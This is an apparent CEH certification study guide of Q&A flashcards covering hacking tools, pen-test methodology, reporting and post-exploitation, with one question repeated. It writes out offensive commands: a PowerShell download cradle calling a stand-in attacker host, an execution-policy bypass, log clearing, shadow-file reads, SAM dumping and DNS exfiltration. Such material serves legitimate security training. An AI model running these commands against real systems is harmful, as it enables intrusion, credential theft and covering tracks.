CEH symmetric algorithms: DES (56-bit key, broken – 1999 brute forced in 22 hours), 3DES (three DES passes – 112-bit effective – slow, being deprecated), AES (128/192/256-bit – current gold standard, used everywhere), RC4 (stream cipher – WEP used RC4 – statistical weaknesses – avoid), Blowfish (64-bit blocks – used in bcrypt), Twofish (AES finalist), RC5/RC6 (variable block/key size). AES modes: ECB (same block = same ciphertext – penguin image attack – never use), CBC (needs IV, BEAST attack), CTR (counter mode – parallel, no padding), GCM (authentication + encryption – use for AEAD). CEH exam: know DES=broken, 3DES=legacy, AES=standard. AES-256 is NSA Suite B recommended for TOP SECRET data.

17 CEH v13 Practical & Exam Focus

16 Qs

Q266 QUESTION

What are the CEH v13 exam domains?

ANSWER

CEH v13 (312-50) domains: (1) Background (6%) – security fundamentals, laws, regulations; (2) Analysis/Assessment (13%) – vulnerability assessment, threat modeling; (3) Security (25%) – security controls, hardening; (4) Tools/Systems/Programs (32%) – tools for each hacking phase; (5) Procedures/Methodology (20%) – hacking process, phases; (6) Regulation/Policy (4%) – laws, compliance. CEH focuses heavily on TOOLS – know which tool does what. Top tested tools: Nmap, Metasploit, Wireshark, Burp Suite, Aircrack-ng, sqlmap, John the Ripper, Hashcat, Maltego, SET.

Q267 QUESTION

What are the key CEH v13 tool mappings?

ANSWER

CEH tool mapping by phase: Reconnaissance – Maltego, theHarvester, Recon-ng, Shodan; Scanning – Nmap, Masscan, Nessus, OpenVAS; Enumeration – enum4linux, BloodHound, SNMPwalk; System Hacking – Metasploit, Mimikatz, John, Hashcat; Malware – msfvenom, Netcat, Veil; Sniffing – Wireshark, Ettercap, Responder; Social Engineering – SET, GoPhish; Web Hacking – Burp Suite, sqlmap, Nikto, DirBuster; Wireless – Aircrack-ng, Kismet, Reaver; DoS – hping3, LOIC; Session – Ettercap, Hamster; Evading – Nmap (fragmentation), Veil, Metasploit encoders; Cryptography – Hashcat, John, VeraCrypt, OpenSSL.

Q268 QUESTION

What is the CEH Practical exam?

ANSWER

CEH Practical is a 6-hour performance-based exam on iLabs platform. Format: 20 real-world challenges requiring hands-on hacking skills in a live network environment. Tasks: scan networks with Nmap, crack passwords with Hashcat, exploit vulnerabilities with Metasploit, analyze traffic with Wireshark, test SQL injection with sqlmap, perform web app attacks with Burp Suite, conduct reconnaissance with Maltego. Passing: complete minimum number of challenges within 6 hours. CEH Master = CEH written exam + CEH Practical. Practical tests actual hands-on ability vs. theoretical knowledge of written exam.

Q269 QUESTION

What are CEH exam preparation tips?

ANSWER

CEH exam tips: (1) Know tools and their use – each phase has specific tools; (2) Memorize port numbers (21 FTP, 22 SSH, 23 Telnet, 25 SMTP, 53 DNS, 80 HTTP, 110 POP3, 143 IMAP, 389 LDAP, 443 HTTPS, 445 SMB, 1433 MSSQL, 3306 MySQL, 3389 RDP); (3) Know Nmap flags (-sS, -sT, -sU, -sV, -O, -A, -p-, -f); (4) Understand attack types and countermeasures together; (5) Know legal/ethical considerations; (6) Practice in iLabs or similar environments (HackTheBox, TryHackMe); (7) Study CEH Exam Guide (Matt Walker) or All-in-One CEH (Harris). Time: 125 questions in 4 hours = ~2 min/question.

Q270 QUESTION

What is the hacking methodology for CEH practical?

ANSWER

CEH practical methodology: (1) Understand the target – what are we looking for?; (2) Scan – `nmap -sV -sC -p- [target]`; (3) Enumerate – based on open ports (`SMBenum4linux`, `HTTPnnikto/gobuster`, `SSHnssh-audit`); (4) Vulnerability research – `searchsploit [service version]`, ExploitDB; (5) Exploit – Metasploit or manual exploit; (6) Post-exploitation – `hashdump`, `sysinfo`, network discovery; (7) Crack hashes – `hashcat -m [hash_type] hashes.txt wordlist.txt`; (8) Document findings – screenshot evidence, note flags/answers. Example: Port scan reveals Apache 2.4.49 □ `searchsploit apache 2.4.49` □ CVE-2021-41773 path traversal □ `curl exploit` □ RCE confirmed.

Q271 QUESTION

What are the key Windows hacking commands for CEH?

ANSWER

Essential Windows commands for CEH: net user (list users), net localgroup administrators (admin group), net share (list shares), net use \\target\IPC\$ " /user:" (null session), systeminfo (OS version, patches), ipconfig /all (network config), netstat -an (open connections), tasklist (running processes), schtasks /query (scheduled tasks), wmic product get name (installed software), reg query HKLM\SAM (registry), whoami /priv (current privileges), wevtutil cl Security (clear security log). Meterpreter: sysinfo, getuid, getsystem, hashdump, run post/multi/recon/local_exploit_suggester, clearev.

Q272 QUESTION

What are the key Linux hacking commands for CEH?

ANSWER

Essential Linux commands for CEH: uname -a (kernel version), id (current user/groups), sudo -l (sudo permissions), cat /etc/passwd (user list), cat /etc/shadow (password hashes), netstat -tulpn (listening services), ps aux (running processes), find / -perm -4000 2>/dev/null (SUID files), find / -writable -type f 2>/dev/null (writable files), crontab -l (cron jobs), cat /etc/cron* (cron directory), ls -la /home (home directories), cat ~/.bash_history (command history), env (environment variables). Post-exploit: python3 -c 'import pty;pty.spawn("/bin/bash")' (upgrade shell).

Q273 QUESTION

What are CEH countermeasures to know?

ANSWER

CEH tests countermeasures alongside attacks. Key countermeasures: SQL injection □ parameterized queries, WAF; XSS □ output encoding, CSP; CSRF □ CSRF tokens, SameSite cookies; Password attacks □ MFA, account lockout, strong password policy; ARP poisoning □ Dynamic ARP Inspection (DAI), static ARP; DNS poisoning □ DNSSEC; Session hijacking □ HTTPS, secure/HttpOnly cookie flags; Social engineering □ security awareness training, verification procedures; Wireless □ WPA3, disable WPS, 802.1X; DoS □ rate limiting, DDoS scrubbing, SYN cookies; Buffer overflow □ ASLR, DEP, stack canaries, memory-safe languages.

Q274 QUESTION

What is the CEH v13 approach to AI security?

ANSWER

CEH v13 AI security content: (1) AI attack tools – using ChatGPT for phishing generation, code analysis, vulnerability research; (2) AI-powered malware – malware that adapts to evade detection; (3) Deepfake attacks – vishing with cloned CEO voice, video deepfakes for social engineering; (4) AI-generated content attacks – synthetic identities, fake news; (5) Adversarial machine learning – poison training data, evade AI-based security; (6) Prompt injection – manipulate LLMs via crafted inputs. Defense: AI-powered security tools using same technology for defense, multi-factor verification for sensitive requests, deepfake detection tools. CEH v13 introduces dedicated AI security module.

Q275 QUESTION

What are Kali Linux tools categories for CEH?

ANSWER

Kali Linux tools by CEH phase: Information Gathering: Maltego, theHarvester, Recon-ng, Shodan; Vulnerability Analysis: OpenVAS, Nessus, Nikto; Web App: Burp Suite, sqlmap, OWASP ZAP, dirb; Exploitation: Metasploit, BeEF, SQLmap; Password Attacks: John, Hashcat, Hydra, Medusa; Wireless: Aircrack-ng, Kismet, Reaver; Sniffing/Spoofing: Wireshark, Ettercap, Bettercap, Responder; Post-Exploitation: Mimikatz, BloodHound; Reverse Engineering: Ghidra, radare2; Forensics: Autopsy, Volatility; Social Engineering: SET, GoPhish. Most important: learn Nmap, Metasploit, Burp Suite, Wireshark, and Aircrack-ng inside out – these are most tested.

Q276 QUESTION

What is ExploitDB and Searchsploit?

ANSWER

ExploitDB is the largest public exploit and vulnerable software archive. Web: exploit-db.com — search by CVE, software name, platform. Searchsploit: command-line local copy: 'searchsploit apache 2.4.49' □ shows all exploits for Apache 2.4.49. Update database: 'searchsploit -u'. Copy exploit: 'searchsploit -m [exploit path]'. CEH workflow: Nmap identifies 'Apache httpd 2.4.49' □ searchsploit apache 2.4.49 □ finds CVE-2021-41773 path traversal □ download exploit PoC □ test against target. ExploitDB also has Shellcodes and Papers sections. Example: 'searchsploit vsftpd 2.3.4' reveals backdoor vulnerability (CVE-2011-2523) with Metasploit module — target with vsftpd 2.3.4 has built-in backdoor.

Q277 QUESTION

What is pivoting with Proxychains?

ANSWER

Proxychains routes tool traffic through proxy chains (SOCKS4/5, HTTP). Use in pen testing: (1) Set up SOCKS proxy through compromised host (Metasploit: 'use auxiliary/server/socks_proxy', 'run'); (2) Configure proxychains.conf: 'socks5 127.0.0.1 1080'; (3) Prefix any command with proxychains: 'proxychains nmap -sT 10.0.0.5' — Nmap scans internal host via SOCKS tunnel through Metasploit. Example: Compromised DMZ server □ Metasploit route add 10.0.0.0/24 2 (session 2) □ 'use auxiliary/server/socks_proxy' □ 'run' □ 'proxychains nmap -sT -p 80,443,22,3306 10.0.0.5' — nmap traffic exits from compromised DMZ server — firewall sees internal server scanning internal server — allowed.

Q278 QUESTION

What is PowerShell for CEH?

ANSWER

PowerShell is essential for Windows post-exploitation. Key commands: Get-Process (running processes), Get-NetIPAddress (IP configuration), Test-NetConnection -ComputerName host -Port 80 (connectivity test), Invoke-WebRequest (HTTP download), Get-Content (file read), Set-Content (file write), Get-LocalUser (local users), Get-LocalGroupMember Administrators (admin group), Get-ScheduledTask (scheduled tasks), New-ItemProperty (registry write for persistence). Download+Execute: 'IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1")'. Bypasses: 'powershell -ExecutionPolicy Bypass -NoProfile -EncodedCommand [base64]'. CEH tests: know download cradle syntax, basic enumeration commands, execution policy bypass.

Q279 QUESTION

What is pivoting with Proxychains?

ANSWER

Proxychains routes tool traffic through SOCKS proxy. Setup: Metasploit route add + socks_proxy auxiliary □ proxychains.conf: 'socks5 127.0.0.1 1080' □ prefix commands: 'proxychains nmap -sT 10.0.0.5'. Example: Compromised DMZ web server (192.168.1.10) □ Metasploit session □ route add 10.0.0.0/24 1 □ socks_proxy on port 1080 □ proxychains nmap scans internal 10.0.0.x network that was unreachable □ discovers internal database server (10.0.0.5:3306) □ proxychains sqlmap against internal MySQL □ data exfiltration through DMZ server. CEH exam: understand the concept of pivoting through a compromised host to reach otherwise inaccessible network segments.

Q280 QUESTION

What is Metasploit post-exploitation modules?

ANSWER

Metasploit post-exploitation modules run after session established. Categories: gather (collect information), manage (manage sessions and systems), recon (network/host recon), escalate (privilege escalation), lateral_movement, exfiltrate. Key modules: post/multi/gather/run_console_rc, post/windows/gather/credentials/credential_collector (gather all credential types), post/windows/gather/enum_applications (installed software), post/multi/recon/local_exploit_suggester (find privilege escalation paths), post/windows/manage/persistence (install persistence), post/multi/gather/firefox_creds (Firefox saved passwords), post/windows/gather/hashdump (dump SAM hashes). Example: After Meterpreter session — 'run post/multi/recon/local_exploit_suggester' □ lists 12 local privilege escalation exploits sorted by reliability □ 'use exploit/windows/local/ms16_032_secondary_logon_handle_privesc' □ 'run' □ SYSTEM shell.

Q281 QUESTION

What is Hashcat usage for CEH?

ANSWER

Hashcat is the world's fastest password recovery tool using GPU acceleration. Hash modes: -m 0 (MD5), -m 100 (SHA1), -m 1000 (NTLM), -m 1800 (sha512crypt Linux), -m 2500 (WPA/WPA2 — legacy), -m 22000 (WPA/WPA2 — current), -m 3000 (LM). Attack modes: -a 0 (dictionary — wordlist), -a 1 (combination — two wordlists), -a 3 (brute force — mask ?l?l?!?!?), -a 6 (wordlist+mask). Rules: -r rules/dive.rule (apply transformations — add numbers, capitalize). Example commands: 'hashcat -m 1000 ntlm_hashes.txt rockyou.txt' (NTLM dictionary), 'hashcat -m 1800 shadow.txt rockyou.txt -r rules/dive.rule' (Linux SHA-512 with rules), 'hashcat -m 22000 wpa_capture.hc22000 rockyou.txt' (WPA2 crack). GPU speed: NTLM — 100 billion hashes/second on high-end GPU — 8-char passwords cracked in seconds.

18 Vulnerability Analysis & Pen Testing

19 Qs

Q282 QUESTION

What is a vulnerability assessment process?

ANSWER

Vulnerability assessment process: (1) Planning – define scope, schedule, objectives; (2) Asset discovery – identify all assets in scope (Nmap, CMDB); (3) Vulnerability scanning – authenticated/unauthenticated scans (Nessus, OpenVAS); (4) Data analysis – review findings, eliminate false positives; (5) Risk assessment – prioritize by CVSS × asset criticality; (6) Reporting – executive summary + technical details with remediation guidance. Types: Network-based (Nessus), Host-based (OSSEC), Application-based (Burp Scanner), Database (DbProtect), Credentialed vs uncredentialed. Example: Nessus credentialed scan of Windows Server finds 3 critical CVEs, 12 high, 27 medium – report prioritizes critical (EternalBlue patch, Log4Shell) for immediate remediation.

Q283 QUESTION

What is Nessus and how is it used?

ANSWER

Nessus is the most widely used commercial vulnerability scanner by Tenable. Features: 200,000+ plugins, credentialed scanning, compliance checking (PCI DSS, CIS, HIPAA), customizable scan policies. Key scans: Basic Network Scan (common ports and services), Advanced Scan (all ports, all checks), Credentialed Patch Audit (local OS vulnerabilities), Web App Scan (OWASP Top 10). CVSS v3 scoring: 0-3.9 (Low), 4.0-6.9 (Medium), 7.0-8.9 (High), 9.0-10.0 (Critical). Example: Nessus credentialed Windows scan: finds MS17-010 (EternalBlue) Critical 9.3, MS08-067 Critical 9.3, SSL/TLS RC4 cipher Medium 5.0 – remediation: patch system immediately for criticals.

Q284 QUESTION

What is OpenVAS?

ANSWER

OpenVAS (Open Vulnerability Assessment Scanner) is the open-source alternative to Nessus. Part of Greenbone Vulnerability Management (GVM) suite. Components: OpenVAS Scanner (scanning engine), GVM Daemon (management layer), Greenbone Security Assistant (web UI). Comparable to Nessus but free – smaller plugin database but actively maintained. Installation: Kali Linux includes OpenVAS, setup with 'gvm-setup'. Example: 'gvm-start' □ browser to <https://localhost:9392> □ create target (IP range) □ create task □ scan □ view results filtered by severity. Useful for: smaller organizations, lab environments, CEH practical exam preparation.

Q285 QUESTION

What is a penetration testing report structure?

ANSWER

Pen test report structure: (1) Cover page – client, tester, date, classification; (2) Executive Summary – non-technical overview, key findings, risk rating, business impact; (3) Scope and methodology – what was tested, how, timeline; (4) Findings summary – table of all findings with severity; (5) Detailed findings – for each: title, risk rating, description, evidence (screenshots), CVE/CWE, business impact, remediation recommendation; (6) Appendix – scan output, methodology details, tool list, credentials used. Example finding: Title: SQL Injection in Login, Risk: Critical, CVSS: 9.8, Evidence: Screenshot showing database dump, Impact: Full database access exposing 1M customer records, Remediation: Implement parameterized queries.

Q286 QUESTION

What is the PTES (Penetration Testing Execution Standard)?

ANSWER

PTES defines a standard methodology for penetration testing. Phases: (1) Pre-engagement Interactions – scope, rules of engagement, contracts; (2) Intelligence Gathering – OSINT, reconnaissance; (3) Threat Modeling – identify likely attack paths; (4) Vulnerability Analysis – identify exploitable vulnerabilities; (5) Exploitation – gain unauthorized access; (6) Post Exploitation – maintain access, privilege escalation, lateral movement, data collection; (7) Reporting – document findings and recommendations. CEH methodology broadly follows PTES. Knowledge of PTES methodology is tested: correct order and activities within each phase.

Q287 QUESTION

What is metasploit auxiliary modules?

ANSWER

Metasploit auxiliary modules perform scanning and exploitation without establishing a session. Categories: scanner (discover services and vulnerabilities), exploit (exploits that don't use payloads – DoS), admin (admin operations), gather (information gathering), spoof, server (start servers – HTTP, FTP for social engineering). Examples: auxiliary/scanner/smb/smb_ms17_010 (check for EternalBlue), auxiliary/scanner/portscan/tcp (TCP port scanner), auxiliary/scanner/smtp/smtp_enum (SMTP user enumeration), auxiliary/server/capture/smtp (credential capture server), auxiliary/scanner/mysql/mysql_login (MySQL brute force). Example: 'use auxiliary/scanner/smb/smb_ms17_010' □ 'set RHOSTS 192.168.1.0/24' □ 'run' □ identifies all vulnerable EternalBlue systems on subnet.

Q288 QUESTION

What is CVSS scoring?

ANSWER

CVSS (Common Vulnerability Scoring System) v3.1 provides standardized severity scores. Base score (0-10): Attack Vector (Network=highest/Physical=lowest), Attack Complexity (Low=higher score), Privileges Required (None=highest), User Interaction (None=higher), Scope (Changed=higher), Confidentiality/Integrity/Availability Impact (High=highest). Score ranges: 0.1-3.9 Low, 4.0-6.9 Medium, 7.0-8.9 High, 9.0-10.0 Critical. Temporal score: adds exploit maturity, remediation level. Environmental score: adjusts for specific environment. Example: CVE-2021-44228 Log4Shell: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical – network exploitable, no complexity, no privileges, no user interaction, full impact.

Q289 QUESTION

What are common privilege escalation techniques?

ANSWER

Privilege escalation techniques: Windows: (1) Unquoted service paths – place exe in path; (2) Weak service permissions – modify service binary; (3) Always Install Elevated – MSI package runs as SYSTEM; (4) DLL hijacking; (5) Token impersonation; (6) Kernel exploits (Windows Exploit Suggester). Linux: (1) SUID binaries – find / -perm -4000; (2) Sudo misconfig – sudo -l shows unrestricted commands; (3) Writable cron scripts – modify script running as root; (4) PATH variable manipulation; (5) Kernel exploits. Tools: BeRoot, PowerUp (Windows), LinPEAS/WinPEAS (automated enumeration). Example: 'sudo vim' allowed □ '!:bash' in vim □ root shell without knowing root password – vim sudo misconfiguration.

Q290 QUESTION

What is post-exploitation?

ANSWER

Post-exploitation activities after gaining initial access: (1) Situational awareness – gather system/network information; (2) Privilege escalation – elevate to highest possible privilege; (3) Credential harvesting – Mimikatz, /etc/shadow, browser stored passwords, config files; (4) Lateral movement – use harvested credentials to pivot to other systems; (5) Data collection – identify and stage valuable data; (6) Persistence – ensure continued access (backdoor, scheduled task, new user); (7) Covering tracks – clear logs, remove artifacts. Meterpreter post-exploitation: run post/multi/gather/run_console_rc (run multiple commands), run post/multi/manage/shell_to_meterpreter (upgrade shell).

Q291 QUESTION

What is pivoting in penetration testing?

ANSWER

Pivoting uses a compromised host as a gateway to reach otherwise inaccessible network segments. Techniques: (1) Port forwarding – forward local port through compromised host to internal service; (2) SOCKS proxy – route all tools through compromised host (Metasploit: 'run auxiliary/server/socks_proxy'); (3) VPN over compromised host; (4) Double pivoting – pivot through multiple hosts. Example: Compromised web server (DMZ) □ Metasploit route add 10.0.0.0/24 [session] □ scan 10.0.0.0/24 from attacker machine through compromised server □ reach internal database server (10.0.0.5) □ exploit MySQL with credentials found on web server □ access production database.

Q292 QUESTION

What is a scope creep in penetration testing?

ANSWER

Scope creep occurs when a pen tester tests systems outside the defined scope. CEH ethical context: strictly follow authorized scope – even if you find an obviously vulnerable system, testing it outside scope is illegal. Scope definition: IP ranges, domains, specific applications, geographic locations, test types. Out-of-scope examples: cloud infrastructure not explicitly included, third-party services, production databases when only test environment authorized. Process when finding scope issues: stop testing the out-of-scope system, document the finding, notify the client immediately, request written authorization to expand scope if appropriate. Example: Testing targetco.com – find link to partner company partnerco.com – STOP – partnerco.com is not in scope – document and notify client.

Q293 QUESTION

What is OSCP vs CEH comparison?

ANSWER

CEH (EC-Council): theoretical/tool-focused, multiple choice exam, covers broad attack concepts, vendor certification. OSCP (Offensive Security): 100% hands-on, 24-hour practical exam in attack lab, requires actually exploiting machines, much harder to cheat. Industry perception: OSCP more respected by technical practitioners (proves hands-on ability), CEH more recognized in corporate/compliance contexts (DoD 8570 requirement). CEH v13 adding Practical helps close the gap. CEH best for: compliance requirements, career starter in security, HR/management recognition. OSCP best for: penetration testing career, proving technical ability, red team roles. Many professionals pursue both. Example: CEH is listed as requirement in many US government job postings due to DoD 8570 – OSCP preferred by offensive security firms like Rapid7, CrowdStrike.

Q294 QUESTION

What is vulnerability chaining?

ANSWER

Vulnerability chaining combines multiple lower-severity vulnerabilities to achieve high-impact exploitation. Example chain: SSRF (Medium) + internal network access + Redis unauthenticated (Medium) + Redis config write → RCE (Critical). Each vulnerability alone might be insufficient, but chained = full compromise. CEH reporting: document the full attack chain — individual CVSSs may be medium but combined impact is critical. Example: Web app SSRF (CVSS 5.8) → access internal Elasticsearch (CVSS 5.0, no auth) → read customer database → combine with email enumeration (CVSS 3.1) → targeted phishing using real customer data → credential theft. Individual findings seem low/medium — business impact is critical data breach.

Q295 QUESTION

What is lateral movement techniques?

ANSWER

Lateral movement expands access through a network from initial foothold. Techniques: (1) Pass-the-Hash — use NTLM hash without cracking; (2) Pass-the-Ticket — Kerberos ticket reuse; (3) PsExec — remote command execution using SMB + admin credentials; (4) WMI — 'wmic /node:target process call create cmd.exe'; (5) PowerShell remoting — 'Invoke-Command -ComputerName target -ScriptBlock {cmd}'; (6) RDP — if admin credentials obtained; (7) SSH key reuse — same key works on multiple Linux servers; (8) Token impersonation; (9) DCOM. CrackMapExec: 'crackmapexec smb 10.0.0.0/24 -u admin -p password --sam' — tests credentials against all hosts, dumps SAM on accessible ones — scales lateral movement.

Q296 QUESTION

What is data exfiltration techniques?

ANSWER

Data exfiltration transfers data from compromised environment to attacker. Techniques: (1) HTTP/HTTPS POST — curl data to attacker's web server — blends with normal traffic; (2) DNS tunneling — encode data as DNS subdomains — port 53 almost always allowed outbound; (3) Email — send data to external email via SMTP; (4) Cloud storage — upload to Dropbox/OneDrive/Google Drive via API; (5) Steganography — hide in images uploaded to social media; (6) ICMP — embed data in ping packets; (7) FTP/SFTP — direct transfer if outbound allowed. Detection: DLP (Data Loss Prevention), anomalous outbound traffic volume, DNS query analysis. Example: DNS tunneling with dnscat2 — compress and encode database dump → send as DNS TXT record queries to attacker-controlled DNS server — firewall sees only legitimate DNS queries.

Q297 QUESTION

What is post-exploitation data collection?

ANSWER

Post-exploitation data collection identifies and stages valuable data. Targets: (1) Credential stores — browser saved passwords, KeePass databases, .kdbx files, AWS credentials (~/.aws/credentials), SSH private keys (~/.ssh/id_rsa); (2) Configuration files — database connection strings (web.config, application.properties, .env files); (3) Source code — intellectual property; (4) Business data — financial reports, M&A; documents, customer databases; (5) Security data — firewall configs, network diagrams, VPN configurations. Tools: LaZagne (password recovery — 30+ applications), SessionGopher (PowerShell — session data from WinSCP, PuTTY, FileZilla). Example: LaZagne.exe all — recovers passwords from: Chrome, Firefox, Outlook, FileZilla, WinSCP, PuTTY saved sessions, WiFi passwords, Windows credential manager.

Q298 QUESTION

What is CEH hacking lab setup?

ANSWER

CEH lab setup: Kali Linux (attack machine — all tools pre-installed), Metasploitable 2/3 (deliberately vulnerable Linux target), DVWA (Damn Vulnerable Web App — web hacking practice), VulnHub machines, Windows Server 2008 R2 trial (Windows attacks). Isolated network: host-only VMware adapter prevents accidental external scanning. Free practice: TryHackMe (guided CEH rooms), HackTheBox (machine-based challenges), PortSwigger Web Security Academy (web app labs), PentesterLab. Essential lab exercises: nmap scan □ Metasploit exploit □ privilege escalation □ hashdump □ Hashcat cracking □ web app attacks on DVWA □ Aircrack-ng against test AP. iLabs: EC-Council provides official lab environment for CEH training.

Q299 QUESTION

What are CEH reporting best practices?

ANSWER

CEH pen test report best practices: (1) Executive Summary — non-technical, business impact focused, risk rating (Critical/High/Medium/Low), key findings summary, overall security posture; (2) Technical findings — each vulnerability documented with: title, severity (CVSS score), affected systems, description, proof-of-concept (screenshots), business impact, remediation recommendation, references (CVE, CWE); (3) Methodology — testing approach, phases, tools used; (4) Scope — what was and was not tested; (5) Appendix — raw scan output, full tool output. Report classification: CONFIDENTIAL — encrypt delivery. Remediation follow-up: offer retesting after fixes. CEH exam: know CVSS scoring (0-10 scale, Critical=9+, High=7-8.9, Medium=4-6.9, Low=0.1-3.9) and report structure.

Q300 QUESTION

What is the full CEH v13 attack flow summary?

ANSWER

CEH v13 complete attack methodology: Phase 1 Reconnaissance — passive (WHOIS, DNS, Google dorks, Shodan, LinkedIn, theHarvester) + active (traceroute, ping sweep). Phase 2 Scanning — port scan (Nmap -sS -sV), OS detection (-O), vulnerability scan (Nessus/OpenVAS). Phase 3 Enumeration — NetBIOS (enum4linux), SNMP (snmpwalk), LDAP (ldapsearch), DNS zone transfer. Phase 4 Vulnerability Analysis — correlate versions to CVEs (searchsploit, NVD). Phase 5 System Hacking — exploitation (Metasploit), privilege escalation, Mimikatz credential dump. Phase 6 Malware — backdoor deployment, persistence (schtasks, registry). Phase 7 Sniffing — Wireshark, ARP poisoning (Ettercap), credential capture. Phase 8 Social Engineering — phishing (GoPhish), vishing, physical. Phase 9 DoS — hping3 SYN flood, Slowloris. Phase 10 Web Hacking — Burp Suite, sqlmap, Nikto. Phase 11 Session Hijacking — cookie theft, TCP hijack. Phase 12 Evading — fragmentation, encoding, tunneling. Each phase feeds the next — comprehensive assessment.